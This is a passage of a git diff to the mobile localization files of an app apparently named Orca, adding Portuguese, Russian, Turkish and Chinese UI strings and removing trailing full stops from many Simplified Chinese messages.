-      "reopenDetail": "Este host lista os espaços de trabalho em um formato que esta página ainda não reconhece."
+      "reopenDetail": "Este host lista os espaços de trabalho em um formato que esta página ainda não reconhece.",
+      "loading": "Carregando espaços…",
+      "retryingAutomatically": "Tentando novamente automaticamente."
     },
     "workspaceListSections": {
       "all": "Todos",
@@ -4115,6 +4709,9 @@
       "right": "Direcional para a direita",
       "down": "Direcional para baixo",
       "hint": "Envia uma tecla de direção. Mantenha pressionado para repetir."
+    },
+    "terminalKeyRail": {
+      "ctrlC": "Ctrl+C"
     }
   },
   "automations": {
@@ -4266,7 +4863,8 @@
       "discardChangesTitle": "Descartar alterações?",
       "discardChangesMessage": "As edições não salvas nesta automação serão perdidas.",
       "discard": "Descartar",
-      "keepEditing": "Continuar editando"
+      "keepEditing": "Continuar editando",
+      "chooseHost": "Automações em {{host}}, escolha outro host"
     },
     "orphanIssues": {
       "hostReselection": "Edite esta automação e selecione novamente seu host antes de executá-la.",
@@ -4309,7 +4907,8 @@
         "error": "A configuração do projeto falhou no host selecionado para a automação.",
         "unsupported": "O host selecionado para a automação não oferece suporte a este projeto."
       },
-      "wslDistroStopped": "A distribuição WSL {{distro}} está parada, então esta execução agendada não a iniciou. Inicie a distribuição ou use Executar agora; as próximas execuções acontecem enquanto ela estiver em execução."
+      "wslDistroStopped": "A distribuição WSL {{distro}} está parada, então esta execução agendada não a iniciou. Inicie a distribuição ou use Executar agora; as próximas execuções acontecem enquanto ela estiver em execução.",
+      "agentInterrupted": "O agente foi interrompido antes de terminar esta execução."
     }
   },
   "auto": {
diff --git a/mobile/src/i18n/locales/ru.json b/mobile/src/i18n/locales/ru.json
index cec7d8ced57..d76fa238c1a 100644
--- a/mobile/src/i18n/locales/ru.json
+++ b/mobile/src/i18n/locales/ru.json
@@ -2594,7 +2594,8 @@
     "tabStrip": {
       "checkingCapabilities": "Проверяем возможности Orca на компьютере — повторите попытку чуть позже",
       "newTab": "Новая вкладка",
-      "quickCommandsUpdateRequired": "Для быстрых команд обновите Orca на компьютере"
+      "quickCommandsUpdateRequired": "Для быстрых команд обновите Orca на компьютере",
+      "tabStatus": "{{title}}, {{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "Очистить терминал",
@@ -3540,6 +3541,12 @@
   },
   "tasks": {
     "hostedMerge": {
+      "confirmGitHubMerge": "Слить PR #{{number}}?",
+      "confirmGitHubSquash": "Объединить коммиты и слить PR #{{number}}?",
+      "confirmGitHubRebase": "Выполнить rebase и слить PR #{{number}}?",
+      "confirmGitLabMerge": "Слить запрос на слияние #{{number}}?",
+      "confirmGitLabSquash": "Объединить коммиты и слить запрос на слияние #{{number}}?",
+      "confirmGitLabRebase": "Выполнить rebase и слить запрос на слияние #{{number}}?",
       "merged": "Слито",
       "closed": "Закрыто",
       "conflicts": "Конфликты",
diff --git a/mobile/src/i18n/locales/tr.json b/mobile/src/i18n/locales/tr.json
index 81be23db055..b66fe29a454 100644
--- a/mobile/src/i18n/locales/tr.json
+++ b/mobile/src/i18n/locales/tr.json
@@ -2454,7 +2454,8 @@
     "tabStrip": {
       "checkingCapabilities": "Masaüstü özellikleri kontrol ediliyor — birazdan tekrar deneyin",
       "newTab": "Yeni sekme",
-      "quickCommandsUpdateRequired": "Hızlı komutlar için masaüstü uygulaması güncellenmeli"
+      "quickCommandsUpdateRequired": "Hızlı komutlar için masaüstü uygulaması güncellenmeli",
+      "tabStatus": "{{title}}, {{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "Terminali Temizle",
@@ -3364,6 +3365,12 @@
   },
   "tasks": {
     "hostedMerge": {
+      "confirmGitHubMerge": "PR #{{number}} birleştirilsin mi?",
+      "confirmGitHubSquash": "PR #{{number}} commit’leri squash edilerek birleştirilsin mi?",
+      "confirmGitHubRebase": "PR #{{number}} yeniden temellendirilip birleştirilsin mi?",
+      "confirmGitLabMerge": "Birleştirme isteği #{{number}} birleştirilsin mi?",
+      "confirmGitLabSquash": "Birleştirme isteği #{{number}} commit’leri squash edilerek birleştirilsin mi?",
+      "confirmGitLabRebase": "Birleştirme isteği #{{number}} yeniden temellendirilip birleştirilsin mi?",
       "merged": "Birleştirildi",
       "closed": "Kapatıldı",
       "conflicts": "Çakışmalar",
diff --git a/mobile/src/i18n/locales/zh-Hant.json b/mobile/src/i18n/locales/zh-Hant.json
index 535fb5d378a..f6cdeed4645 100644
--- a/mobile/src/i18n/locales/zh-Hant.json
+++ b/mobile/src/i18n/locales/zh-Hant.json
@@ -2450,7 +2450,8 @@
     "tabStrip": {
       "checkingCapabilities": "正在檢查桌面版支援的功能，請稍後再試",
       "newTab": "新分頁",
-      "quickCommandsUpdateRequired": "需更新桌面版才能使用快速命令"
+      "quickCommandsUpdateRequired": "需更新桌面版才能使用快速命令",
+      "tabStatus": "{{title}}，{{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "清除終端機",
@@ -3360,6 +3361,12 @@
   },
   "tasks": {
     "hostedMerge": {
+      "confirmGitHubMerge": "要合併 PR #{{number}} 嗎？",
+      "confirmGitHubSquash": "要將 PR #{{number}} 的提交壓縮後合併嗎？",
+      "confirmGitHubRebase": "要將 PR #{{number}} 變基後合併嗎？",
+      "confirmGitLabMerge": "要合併合併請求 #{{number}} 嗎？",
+      "confirmGitLabSquash": "要將合併請求 #{{number}} 的提交壓縮後合併嗎？",
+      "confirmGitLabRebase": "要將合併請求 #{{number}} 變基後合併嗎？",
       "merged": "已合併",
       "closed": "已關閉",
       "conflicts": "有衝突",
diff --git a/mobile/src/i18n/locales/zh.json b/mobile/src/i18n/locales/zh.json
index f845b0e146d..97e4440ed9d 100644
--- a/mobile/src/i18n/locales/zh.json
+++ b/mobile/src/i18n/locales/zh.json
@@ -9,7 +9,7 @@
       "hostNotFound": "未找到主机",
       "invalidSnapshot": "主机返回的账户快照无效",
       "loadingAccounts": "正在加载账户…",
-      "manageAccountsHint": "请在桌面的“设置 → 账户”中添加账户或重新进行账户身份验证。",
+      "manageAccountsHint": "请在桌面的“设置 → 账户”中添加账户或重新进行账户身份验证",
       "mcpWindow": "MCP",
       "otherAgents": "其他智能体",
       "refreshAccounts": "刷新账户",
@@ -23,28 +23,28 @@
   "agentHistory": {
     "panel": {
       "all": "全部",
-      "emptyScope": "此范围内暂无历史智能体会话。",
-      "missingResumeId": "此会话缺少恢复 ID。",
-      "noSearchResults": "没有符合搜索条件的会话。",
+      "emptyScope": "此范围内暂无历史智能体会话",
+      "missingResumeId": "此会话缺少恢复 ID",
+      "noSearchResults": "没有符合搜索条件的会话",
       "noSessions": "暂无智能体会话",
       "placeholder": "搜索会话，repo:、path:",
       "project": "项目",
       "refreshSessions": "刷新智能体会话",
-      "resumeFailed": "恢复会话失败。",
-      "sessionQueued": "智能体会话已加入队列。",
+      "resumeFailed": "恢复会话失败",
+      "sessionQueued": "智能体会话已加入队列",
       "skipped_one": "跳过了 {{count}} 个记录",
       "skipped_other": "跳过了 {{count}} 个记录",
       "title": "智能体会话历史",
       "unavailable": "智能体会话历史不可用",
-      "unknownHostPlatform": "无法确定主机平台。",
-      "updateHost": "请更新此主机上的 Orca，以浏览智能体会话历史。",
+      "unknownHostPlatform": "无法确定主机平台",
+      "updateHost": "请更新此主机上的 Orca，以浏览智能体会话历史",
       "waitingForHost": "正在等待主机…",
       "workspace": "工作区"
     },
     "resumeTarget": {
-      "differentHost": "此会话属于其他主机。请打开同一主机上的工作区以恢复它。",
-      "openWorkspace": "恢复会话前请先打开一个工作区。",
-      "runtimeUnavailable": "由运行时托管的工作区不支持从历史记录恢复会话。"
+      "differentHost": "此会话属于其他主机。请打开同一主机上的工作区以恢复它",
+      "openWorkspace": "恢复会话前请先打开一个工作区",
+      "runtimeUnavailable": "由运行时托管的工作区不支持从历史记录恢复会话"
     },
     "sessionCard": {
       "untitledSession": "无标题会话"
@@ -67,13 +67,13 @@
   },
   "app": {
     "mobileOnboarding": {
-      "notificationSettingsFailed": "无法更新通知设置。请重试。",
+      "notificationSettingsFailed": "无法更新通知设置。请重试",
       "progress": "入门引导进度",
-      "saveChoiceFailed": "无法保存选择。请重试。",
+      "saveChoiceFailed": "无法保存选择。请重试",
       "stepProgress": "第 {{step}} 步，共 {{total}} 步"
     },
     "notifications": {
-      "description": "即使应用已关闭，也能收到智能体提醒。提醒通过 Orca 的推送服务及 Apple 或 Google 送达。"
+      "description": "即使应用已关闭，也能收到智能体提醒。提醒通过 Orca 的推送服务及 Apple 或 Google 送达"
     },
     "pair": {
       "backToHome": "返回首页",
@@ -83,27 +83,27 @@
       "backToHome": "返回首页",
       "connectTimedOut": "未能在 {{seconds}} 秒内连接，请查看下方日志，了解连接停在哪一步",
       "connecting": "正在连接…",
-      "description": "已打开来自桌面的配对链接。确认后将此桌面添加到主机列表。",
+      "description": "已打开来自桌面的配对链接。确认后将此桌面添加到主机列表",
       "pairButton": "配对",
       "pairingFailed": "配对失败：{{error}}",
       "pairingLog": "配对日志",
       "title": "要与此桌面配对吗？"
     },
     "pairScan": {
-      "cameraDisabledDescription": "请在“设置”中启用相机访问权限，或粘贴配对码。",
+      "cameraDisabledDescription": "请在“设置”中启用相机访问权限，或粘贴配对码",
       "cameraDisabledTitle": "相机访问已禁用",
-      "cameraPermissionDescription": "扫描桌面上 Orca 显示的二维码，或粘贴配对码。",
+      "cameraPermissionDescription": "扫描桌面上 Orca 显示的二维码，或粘贴配对码",
       "connectTimedOut": "未能在 {{seconds}} 秒内连接，请查看下方日志，了解连接停在哪一步",
       "connecting": "正在连接…",
       "invalidPairingCode": "配对码无效，请从电脑上复制后重新粘贴",
       "invalidQrCode": "无效的 Orca 二维码",
-      "downloadQrCode": "这是下载码。请扫描桌面端第 2 步中的配对码。",
+      "downloadQrCode": "这是下载码。请扫描桌面端第 2 步中的配对码",
       "openDesktopStep": "在电脑上打开 Orca",
       "openMobileSettingsStep": "前往“设置” → “移动端”",
       "openSettings": "打开设置",
       "pairingFailed": "配对失败：{{error}}",
       "pairingLog": "配对日志",
-      "pasteCodeMessage": "复制电脑上二维码下方显示的配对码。",
+      "pasteCodeMessage": "复制电脑上二维码下方显示的配对码",
       "pasteCodePlaceholder": "orca://pair?code=... 或粘贴配对码",
       "pasteCodeTitle": "粘贴配对码",
       "pasteInstead": "改为粘贴配对码",
@@ -119,9 +119,9 @@
       "largeText": "大（125%）",
       "largerText": "更大（150%）",
       "largestText": "最大（200%）",
-      "leaveAppDescription": "在手机上使用终端时，Orca 会缩小终端尺寸以适应屏幕。关闭应用或切换到其他应用时，此设置决定终端是保持手机尺寸（避免交互式 CLI 工具的界面重新排版），还是恢复为桌面尺寸。您随时可以点击桌面横幅中的“恢复”手动调整尺寸。",
+      "leaveAppDescription": "在手机上使用终端时，Orca 会缩小终端尺寸以适应屏幕。关闭应用或切换到其他应用时，此设置决定终端是保持手机尺寸（避免交互式 CLI 工具的界面重新排版），还是恢复为桌面尺寸。您随时可以点击桌面横幅中的“恢复”手动调整尺寸",
       "leaveAppHeading": "离开应用时",
-      "noPairedDesktops": "尚未配对桌面。配对后即可设置终端行为。",
+      "noPairedDesktops": "尚未配对桌面。配对后即可设置终端行为",
       "restoreAfterMinutes_one": "{{count}} 分钟后",
       "restoreAfterMinutes_other": "{{count}} 分钟后",
       "restoreAfterSeconds_one": "{{count}} 秒后",
@@ -130,7 +130,7 @@
       "smallerText": "较小（75%）",
       "smallestText": "最小（50%）",
       "textSize": "文字大小",
-      "textSizeDescription": "调整终端文字大小。文字较小时可显示更多列，两侧留有边距；文字较大时显示的列数较少，可横向拖动查看。也可以直接在终端中双指缩放，此设置会随之更新。仅影响当前设备的显示，不会改变桌面终端。",
+      "textSizeDescription": "调整终端文字大小。文字较小时可显示更多列，两侧留有边距；文字较大时显示的列数较少，可横向拖动查看。也可以直接在终端中双指缩放，此设置会随之更新。仅影响当前设备的显示，不会改变桌面终端",
       "textSizeHeading": "文字大小",
       "textSizePickerTitle": "终端文字大小",
       "title": "终端"
@@ -141,7 +141,7 @@
       "urlPlaceholder": "URL"
     },
     "pane": {
-      "invalidUrl": "请输入有效的 URL。"
+      "invalidUrl": "请输入有效的 URL"
     },
     "paneView": {
       "dialogTitle": "浏览器对话框",
@@ -155,7 +155,7 @@
     },
     "useBrowserCommands": {
       "deliveryUnconfirmed": "尚未确认是否送达，请先检查页面再重试",
-      "dialogAnswerFailed": "未能将回答发送到网页。",
+      "dialogAnswerFailed": "未能将回答发送到网页",
       "sent": "已发送"
     },
     "viewModeSwitch": {
@@ -214,10 +214,10 @@
       "diffTruncated": "差异被截断"
     },
     "hostStatus": {
-      "continuedOutside": "已在此聊天之外继续。",
-      "continuedOutsideRewound": "已在此聊天之外继续。上方较早的回复已不在此对话的历史记录中。",
-      "historyItemTooLarge": "聊天的这一部分过大，无法显示。",
-      "historyRepaired": "此聊天的部分历史记录无法加载。"
+      "continuedOutside": "已在此聊天之外继续",
+      "continuedOutsideRewound": "已在此聊天之外继续。上方较早的回复已不在此对话的历史记录中",
+      "historyItemTooLarge": "聊天的这一部分过大，无法显示",
+      "historyRepaired": "此聊天的部分历史记录无法加载"
     },
     "message": {
       "copyMessage": "复制消息",
@@ -225,7 +225,7 @@
       "forkFromResponseHint": "新聊天将包含本轮结束前的完整回复"
     },
     "messageActionsSheet": {
-      "clipboardRejected": "剪贴板拒绝接收该文本。",
+      "clipboardRejected": "剪贴板拒绝接收该文本",
       "copyFailed": "复制失败",
       "copyMessage": "复制消息",
       "selectText": "选择文本",
@@ -314,12 +314,12 @@
       "at": "提交"
     },
     "orcaStop": {
-      "canContinue": "您可以在此对话中继续。",
-      "crash": "此回复进行期间，{{machine}} 上的 Orca 意外停止。",
-      "quit": "此回复进行期间，{{machine}} 上的 Orca 已关闭。",
-      "remote": "此回复进行期间，{{machine}} 上的 Orca 已停止。",
+      "canContinue": "您可以在此对话中继续",
+      "crash": "此回复进行期间，{{machine}} 上的 Orca 意外停止",
+      "quit": "此回复进行期间，{{machine}} 上的 Orca 已关闭",
+      "remote": "此回复进行期间，{{machine}} 上的 Orca 已停止",
       "unnamedServer": "远程服务器",
-      "update": "此回复进行期间，{{machine}} 上的 Orca 为更新而重新启动。"
+      "update": "此回复进行期间，{{machine}} 上的 Orca 为更新而重新启动"
     },
     "interruptedContinue": {
       "failed": "无法继续此聊天。请重试，或发送一条消息。",
@@ -330,13 +330,13 @@
     },
     "permission": {
       "needsAccessTo": "需要访问： ",
-      "newerVersionRequired": "此请求需要更新版本的 Orca。",
+      "newerVersionRequired": "此请求需要更新版本的 Orca",
       "planFile": "计划文件：{{filePath}}",
       "reason": "原因： "
     },
     "promptCard": {
       "answerInTerminal": "在终端中回答",
-      "terminalExplanation": "在终端中回答这个 OMP 问题。"
+      "terminalExplanation": "在终端中回答这个 OMP 问题"
     },
     "promptStrip": {
       "expand": "展开"
@@ -378,7 +378,7 @@
       "otherDevice": "其他设备"
     },
     "sessionOptionCopy": {
-      "availableAfterSessionStarts": "会话开始后可用。",
+      "availableAfterSessionStarts": "会话开始后可用",
       "chooseInAgentPicker": "在智能体选择器中选择…",
       "effort": "推理强度",
       "fast": "快速",
@@ -396,7 +396,7 @@
       "on": "开启",
       "permissions": "权限",
       "sessionOptions": "会话选项",
-      "setWhenSessionStarts": "请在会话开始时设置。",
+      "setWhenSessionStarts": "请在会话开始时设置",
       "speed": "速度",
       "standard": "标准",
       "thinking": "思考",
@@ -413,8 +413,8 @@
       "modelLabel": "模型，{{value}}",
       "permissions": "权限",
       "permissionsLabel": "权限，{{value}}",
-      "settingsLocked": "本轮结束后将解锁模型设置。",
-      "workingAnnouncement": "智能体正在工作。本轮结束后将解锁模型设置。"
+      "settingsLocked": "本轮结束后将解锁模型设置",
+      "workingAnnouncement": "智能体正在工作。本轮结束后将解锁模型设置"
     },
     "sessionOptionRows": {
       "defaultMarker": "默认",
@@ -554,8 +554,8 @@
       "workingFor": "已工作 {{value0}}"
     },
     "usageLimit": {
-      "reached": "{{agent}} 已达到使用上限。",
-      "reachedNamed": "{{agent}} 已达到{{window}}上限。",
+      "reached": "{{agent}} 已达到使用上限",
+      "reachedNamed": "{{agent}} 已达到{{window}}上限",
       "theAgent": "智能体",
       "windowCredits": "额外用量",
       "windowSession": "会话",
@@ -677,7 +677,7 @@
       "copyFailed": "无法复制",
       "copyPrompt": "复制提示",
       "statusUnreadable": "无法读取此主机的状态。正在重试…",
-      "updateRequired": "请先更新电脑上的 Orca，才能从手机启动智能体。"
+      "updateRequired": "请先更新电脑上的 Orca，才能从手机启动智能体"
     },
     "agentSpinner": {
       "monitoring": "监控后台任务",
@@ -688,11 +688,11 @@
       "unverifiable": "暂无近期更新"
     },
     "authFailedBanner": {
-      "message": "身份验证失败。请先尝试重新连接；若仍失败，请在桌面端重新配对。"
+      "message": "身份验证失败。请先尝试重新连接；若仍失败，请在桌面端重新配对"
     },
     "authFailedBannerActions": {
       "repair": "重新配对",
-      "webNote": "请在 Orca 应用中重新连接或移除此主机。"
+      "webNote": "请在 Orca 应用中重新连接或移除此主机"
     },
     "codexResetCredit": {
       "alreadyAppliedTitle": "已执行重置",
@@ -711,11 +711,11 @@
       "expiryNowMultiple": "下一个现在过期",
       "expiryNowSingle": "现在过期",
       "invalidResponse": "主机返回的重置响应无效",
-      "noResetMessage": "此账户没有已获得的可用重置额度。",
+      "noResetMessage": "此账户没有已获得的可用重置额度",
       "noResetTitle": "无可用重置次数",
-      "nothingToResetMessage": "符合重置条件的 Codex 用量窗口均未耗尽额度。",
+      "nothingToResetMessage": "符合重置条件的 Codex 用量窗口均未耗尽额度",
       "nothingToResetTitle": "无需重置",
-      "refresh": "Codex 用量已刷新。",
+      "refresh": "Codex 用量已刷新",
       "resetTitle": "速率限制已重置"
     },
     "codexResetCreditAction": {
@@ -750,7 +750,7 @@
       "textMacroHint": "发送自定义文本命令"
     },
     "dictationSetupSheet": {
-      "description": "在此即可下载或选择模型，并在已配对的电脑上启用听写。",
+      "description": "在此即可下载或选择模型，并在已配对的电脑上启用听写",
       "download": "下载",
       "downloadFailed": "下载失败",
       "downloadModel": "下载 {{model}}",
@@ -769,19 +769,19 @@
     },
     "diffReviewBody": {
       "binaryDiff": "二进制差异",
-      "binaryMessage": "无法在移动端将此文件显示为文本。",
+      "binaryMessage": "无法在移动端将此文件显示为文本",
       "deletedFile": "文件已删除",
-      "deletedMessage": "此文件已删除。可添加文件备注或将其标记为已评审。",
+      "deletedMessage": "此文件已删除。可添加文件备注或将其标记为已评审",
       "diffTooLarge": "差异过大",
-      "diffTruncated": "差异已截断，以便在移动端预览。",
+      "diffTruncated": "差异已截断，以便在移动端预览",
       "diffUnavailable": "差异不可用",
       "loadFailed": "无法加载评审",
       "loadingDiff": "加载差异…",
       "loadingReview": "正在加载评审…",
       "noReviewableChanges": "没有可评审的更改",
       "reviewUnavailable": "评审不可用",
-      "selectFile": "请选择要评审的文件。",
-      "tooLargeMessage": "此差异过大，无法在移动端预览。"
+      "selectFile": "请选择要评审的文件",
+      "tooLargeMessage": "此差异过大，无法在移动端预览"
     },
     "diffReviewDrawers": {
       "addNote": "添加备注",
@@ -790,7 +790,7 @@
       "copyNotes": "复制备注",
       "deleteNote": "删除注释",
       "discard": "放弃",
-      "discardMessage": "要放弃对“{{filePath}}”的更改吗？此操作无法撤销。",
+      "discardMessage": "要放弃对“{{filePath}}”的更改吗？此操作无法撤销",
       "discardTitle": "放弃文件更改",
       "editNote": "编辑备注",
       "fileNote": "文件备注",
@@ -869,7 +869,7 @@
     },
     "jiraConnectPrompt": {
       "checkAgain": "再次检查",
-      "connectHint": "请在 Orca 桌面端的“设置 → 集成”中添加 Jira 站点，然后再次检查。",
+      "connectHint": "请在 Orca 桌面端的“设置 → 集成”中添加 Jira 站点，然后再次检查",
       "connectOnDesktop": "在桌面端连接 Jira",
       "credentialUnreadable": "Jira 凭据已保存，但无法读取：{{credentialError}}",
       "updateDesktop": "更新 Orca 桌面端"
@@ -901,7 +901,7 @@
       "connect": "连接",
       "connecting": "连接中…",
       "label": "SSH 连接",
-      "serverRecovery": "需要在桌面端恢复其服务器：设置 → SSH 主机 → 恢复服务器。"
+      "serverRecovery": "需要在桌面端恢复其服务器：设置 → SSH 主机 → 恢复服务器"
     },
     "newWorktreeAgentSelection": {
       "blankTerminal": "空白终端"
@@ -932,25 +932,25 @@
     },
     "prSidebar": {
       "loading": "正在加载 PR…",
-      "notPermitted": "无权访问：您的 GitHub 账户尚未连接。",
+      "notPermitted": "无权访问：您的 GitHub 账户尚未连接",
       "retryLoading": "重试加载 PR"
     },
     "protocolBlockScreen": {
       "backToHosts": "返回主机列表",
-      "desktopTooOldBody": "已配对的桌面应用版本过旧，无法与当前的 Orca Mobile 兼容。请更新电脑上的 Orca，然后重新连接此主机。",
+      "desktopTooOldBody": "已配对的桌面应用版本过旧，无法与当前的 Orca Mobile 兼容。请更新电脑上的 Orca，然后重新连接此主机",
       "getVersion": "获取 Orca {{version}}",
-      "mobileTooOldAppStore": "此桌面需要更新版本的 Orca Mobile。请从 App Store 更新 Orca Mobile，然后重新连接此主机。",
-      "mobileTooOldGitHubReleases": "此桌面需要更新版本的 Orca Mobile。请从 GitHub Releases 更新 Orca Mobile，然后重新连接此主机。",
+      "mobileTooOldAppStore": "此桌面需要更新版本的 Orca Mobile。请从 App Store 更新 Orca Mobile，然后重新连接此主机",
+      "mobileTooOldGitHubReleases": "此桌面需要更新版本的 Orca Mobile。请从 GitHub Releases 更新 Orca Mobile，然后重新连接此主机",
       "openAppStore": "打开 App Store",
       "openGitHubReleases": "打开 GitHub Releases",
-      "refreshRecoveryNote": "如果仍显示此消息，请移除此主机并重新配对。",
-      "refreshWorkspaceBody": "此主机的工作区缓存版本低于桌面要求。请重新连接此主机，下载当前版本。",
+      "refreshRecoveryNote": "如果仍显示此消息，请移除此主机并重新配对",
+      "refreshWorkspaceBody": "此主机的工作区缓存版本低于桌面要求。请重新连接此主机，下载当前版本",
       "refreshWorkspaceTitle": "刷新移动端工作区",
       "updateDesktopTitle": "更新电脑上的 Orca",
       "updateMobileTitle": "更新 Orca Mobile",
-      "updateRecoveryNote": "已经更新？请返回“主机”并刷新连接。如果仍显示此消息，请移除此主机并重新配对。",
-      "workspaceNeedsUpdateAppStore": "此桌面的移动端工作区需要更新版本的 Orca Mobile。请从 App Store 更新 Orca Mobile，然后重新连接此主机。",
-      "workspaceNeedsUpdateGitHubReleases": "此桌面的移动端工作区需要更新版本的 Orca Mobile。请从 GitHub Releases 更新 Orca Mobile，然后重新连接此主机。"
+      "updateRecoveryNote": "已经更新？请返回“主机”并刷新连接。如果仍显示此消息，请移除此主机并重新配对",
+      "workspaceNeedsUpdateAppStore": "此桌面的移动端工作区需要更新版本的 Orca Mobile。请从 App Store 更新 Orca Mobile，然后重新连接此主机",
+      "workspaceNeedsUpdateGitHubReleases": "此桌面的移动端工作区需要更新版本的 Orca Mobile。请从 GitHub Releases 更新 Orca Mobile，然后重新连接此主机"
     },
     "richMarkdownEditor": {
       "imageUrl": "图像 URL",
@@ -979,7 +979,7 @@
     },
     "setupHookTrustDrawer": {
       "alwaysTrustAndRun": "始终信任并运行",
-      "description": "此仓库的 orca.yaml 会在工作区启动前运行。请仅在信任此仓库时运行。",
+      "description": "此仓库的 orca.yaml 会在工作区启动前运行。请仅在信任此仓库时运行",
       "dontRun": "不运行",
       "newScriptLabel": "新设置脚本",
       "runHooks": "运行钩子",
@@ -994,13 +994,13 @@
       "workspaceName": "工作区名称"
     },
     "smartWorkspaceSourceDrawer": {
-      "connectRepository": "连接仓库以搜索来源。",
-      "crossRepoMessage": "此条目位于 {{owner}}/{{repo}}。",
-      "gitHubRemoteRequired": "此 SSH 仓库需要配置 GitHub 远程仓库，才能列出议题和 PR。",
-      "noResults": "未找到结果。",
+      "connectRepository": "连接仓库以搜索来源",
+      "crossRepoMessage": "此条目位于 {{owner}}/{{repo}}",
+      "gitHubRemoteRequired": "此 SSH 仓库需要配置 GitHub 远程仓库，才能列出议题和 PR",
+      "noResults": "未找到结果",
       "searchPlaceholder": "输入名称或搜索来源",
       "switchRepo": "切换到 {{repoName}}",
-      "typeWorkspaceName": "请在下方输入框中输入工作区名称。"
+      "typeWorkspaceName": "请在下方输入框中输入工作区名称"
     },
     "smartWorkspaceSourceField": {
       "openSelectedSource": "打开所选来源",
@@ -1016,7 +1016,7 @@
       "useName": "使用“{{name}}”"
     },
     "sourceCopyButton": {
-      "clipboardRejected": "剪贴板拒绝接收该文本。",
+      "clipboardRejected": "剪贴板拒绝接收该文本",
       "copiedLoaded": "已复制已加载内容",
       "copyFailed": "复制失败",
       "copyLoaded": "复制已加载内容",
@@ -1027,7 +1027,7 @@
       "addDescription": "创建组合键或文本宏",
       "addShortcut": "添加自定义快捷键…",
       "customShortcuts": "自定义快捷键",
-      "empty": "尚未设置自定义快捷键。",
+      "empty": "尚未设置自定义快捷键",
       "removeShortcut": "移除 {{label}}",
       "resetDefaults": "恢复默认设置",
       "resetDescription": "按原始顺序显示所有内置快捷键",
@@ -1041,16 +1041,16 @@
     "useCodexResetCreditAction": {
       "confirmTitle": "使用一次速率限制重置额度？",
       "detailsChanged": "重置详情已变更",
-      "detailsChangedMessage": "主机联系 Codex 前，账户或重置额度信息已发生变化。请查看更新后的详情，然后再次确认。",
+      "detailsChangedMessage": "主机联系 Codex 前，账户或重置额度信息已发生变化。请查看更新后的详情，然后再次确认",
       "hostAccount": "主机上的 {{identity}}",
-      "hostAccountConfirmMessage": "这会为主机上的 {{identity}} 消耗一次已获得的重置额度，并立即重置符合条件的用量窗口。",
+      "hostAccountConfirmMessage": "这会为主机上的 {{identity}} 消耗一次已获得的重置额度，并立即重置符合条件的用量窗口",
       "hostSelectedAccount": "主机上选定的托管账户",
-      "hostSelectedAccountConfirmMessage": "这会为主机上选定的托管账户消耗一次已获得的重置额度，并立即重置符合条件的用量窗口。",
+      "hostSelectedAccountConfirmMessage": "这会为主机上选定的托管账户消耗一次已获得的重置额度，并立即重置符合条件的用量窗口",
       "resetFailed": "无法重置速率限制",
       "wslAccount": "WSL {{distro}} 上的 {{identity}}",
-      "wslAccountConfirmMessage": "这会为 WSL {{distro}} 上的 {{identity}} 消耗一次已获得的重置额度，并立即重置符合条件的用量窗口。",
+      "wslAccountConfirmMessage": "这会为 WSL {{distro}} 上的 {{identity}} 消耗一次已获得的重置额度，并立即重置符合条件的用量窗口",
       "wslSelectedAccount": "WSL {{distro}} 上选定的托管账户",
-      "wslSelectedAccountConfirmMessage": "这会为 WSL {{distro}} 上选定的托管账户消耗一次已获得的重置额度，并立即重置符合条件的用量窗口。"
+      "wslSelectedAccountConfirmMessage": "这会为 WSL {{distro}} 上选定的托管账户消耗一次已获得的重置额度，并立即重置符合条件的用量窗口"
     },
     "voiceModelList": {
       "deleteModel": "删除 {{label}}",
@@ -1064,7 +1064,7 @@
       "useModel": "使用 {{label}}"
     },
     "workspaceDetailPlaceholder": {
-      "description": "从侧边栏选择一个工作区，即可在此处打开其终端。",
+      "description": "从侧边栏选择一个工作区，即可在此处打开其终端",
       "title": "未打开工作区"
     },
     "workspaceNameInput": {
@@ -1130,24 +1130,24 @@
       "directViaTailscale": "通过 Tailscale 直连"
     },
     "hostEndpoint": {
-      "addressRequired": "请输入主机地址。",
-      "hostnameRequired": "缺少主机名。",
-      "invalidAddress": "地址无效。",
-      "invalidHostname": "主机名无效。",
-      "invalidPort": "端口号必须为 1–65535。",
-      "invalidScheme": "请使用 ws:// 或 wss://（或 host:port）。",
-      "pathOrQueryNotAllowed": "主机地址不得包含路径或查询参数。"
+      "addressRequired": "请输入主机地址",
+      "hostnameRequired": "缺少主机名",
+      "invalidAddress": "地址无效",
+      "invalidHostname": "主机名无效",
+      "invalidPort": "端口号必须为 1–65535",
+      "invalidScheme": "请使用 ws:// 或 wss://（或 host:port）",
+      "pathOrQueryNotAllowed": "主机地址不得包含路径或查询参数"
     },
     "pairConfirmState": {
       "invalidCode": "配对码无效",
       "missingCode": "缺少配对码"
     },
     "rpcClientStreamRegistry": {
-      "endedBeforeReady": "流式请求尚未就绪便已结束。",
+      "endedBeforeReady": "流式请求尚未就绪便已结束",
       "interrupted": "连接中断"
     },
     "rpcClientTerminalBinaryFrame": {
-      "unsupportedFrame": "不支持的终端流帧（操作码 {{opcode}}）。"
+      "unsupportedFrame": "不支持的终端流帧（操作码 {{opcode}}）"
     }
   },
   "diagnostics": {
@@ -1159,9 +1159,9 @@
       "diagnosisHeading": "可能的原因",
       "disconnected": "已断开连接",
       "handshaking": "握手中",
-      "noEvents": "暂无连接事件。应用尝试连接此主机时，会显示相关事件。",
-      "noHosts": "没有已配对的主机。",
-      "privacyHint": "发送一份经过脱敏且大小受限的报告，包含主机名、端点、版本、连接状态和事件，绝不包含终端内容或凭据。",
+      "noEvents": "暂无连接事件。应用尝试连接此主机时，会显示相关事件",
+      "noHosts": "没有已配对的主机",
+      "privacyHint": "发送一份经过脱敏且大小受限的报告，包含主机名、端点、版本、连接状态和事件，绝不包含终端内容或凭据",
       "reconnecting": "重新连接中",
       "retrySending": "重试发送",
       "sendDiagnostics": "向 Orca 发送诊断信息",
@@ -1187,34 +1187,34 @@
       "title": "工作区更新"
     },
     "troubleshootCommonIssues": {
-      "allowNotifications": "检查系统设置是否允许 Orca 发送通知，并确认专注模式或勿扰模式已关闭。",
-      "checkTailnet": "确认桌面未休眠，并在 tailnet 中显示为已连接。",
+      "allowNotifications": "检查系统设置是否允许 Orca 发送通知，并确认专注模式或勿扰模式已关闭",
+      "checkTailnet": "确认桌面未休眠，并在 tailnet 中显示为已连接",
       "desktopTitle": "桌面应用未运行",
-      "disableVpn": "关闭该 VPN，或启用分流功能／“允许 LAN”选项。",
